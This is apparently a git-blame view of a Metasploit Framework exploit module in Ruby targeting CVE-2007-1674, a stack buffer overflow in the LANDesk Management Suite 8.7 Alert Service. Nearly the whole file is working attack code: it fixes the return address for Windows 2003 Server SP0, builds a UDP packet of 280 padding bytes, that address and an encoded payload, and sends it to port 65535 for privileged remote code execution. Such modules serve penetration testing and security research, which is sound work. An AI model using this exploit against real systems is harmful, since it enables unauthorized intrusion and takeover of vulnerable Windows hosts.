2007-04-15 00:46:09 +00:00
|
|
|
##
|
|
|
|
# $Id: landesk_aolnsrvr.rb 4419 2007-02-18 00:10:39Z hdm $
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Exploits::Windows::Misc::Landesk_Aolnsrvr < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
include Exploit::Remote::Udp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'LANDesk Management Suite 8.7 Alert Service Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in LANDesk Management Suite 8.7. By sending
|
|
|
|
an overly long string to the Alert Service, a buffer is overwritten and arbitrary
|
|
|
|
code can be executed.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'Version' => '$Revision: 4419 $',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2007-1674'],
|
|
|
|
['URL', 'http://www.tippingpoint.com/security/advisories/TSRT-07-04.html'],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 600,
|
|
|
|
'BadChars' => "\x00\x20",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows 2003 Server SP0 English', { 'Ret' => 0x00423554 } ], # Aolnsrvr.exe 4.0
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Apr 13 2007'))
|
|
|
|
|
|
|
|
register_options([Opt::RPORT(65535)], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_udp
|
|
|
|
|
|
|
|
# One-shot overwrite =(
|
|
|
|
sploit = rand_text_alphanumeric(280) + [target.ret].pack('V') + payload.encoded
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
udp_sock.put(sploit)
|
|
|
|
|
2007-04-16 21:28:46 +00:00
|
|
|
handler
|
2007-04-15 00:46:09 +00:00
|
|
|
disconnect_udp
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|